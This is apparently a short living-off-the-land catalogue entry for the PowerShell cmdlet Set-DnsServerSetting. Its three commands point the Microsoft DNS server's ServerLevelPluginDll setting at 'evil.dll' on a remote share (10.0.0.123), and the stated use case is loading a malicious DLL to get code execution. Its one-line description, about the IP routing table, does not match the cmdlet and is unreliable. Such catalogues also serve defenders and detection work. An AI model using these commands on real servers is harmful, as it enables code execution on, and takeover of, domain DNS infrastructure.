.. / Set-DnsServerSetting

Modifies an entry or entries in the IP routing table


Functions:
Type:
Toolsets:

Execute

Load DLL in the Microsoft DNS server

$srv = Get-DnsServerSetting -CimSession $s -Verbose -All
$srv.ServerLevelPluginDll = "\\10.0.0.123\Share\evil.dll"
Set-DnsServerSetting -InputObject $srv -CimSession $s -Verbose
Usecase
Load malicious DLL in the Microsoft DNS server to obtain code execution

Comments



Updated: 2026-03-28
Contributor: Arris Huijgen (bitsadmin)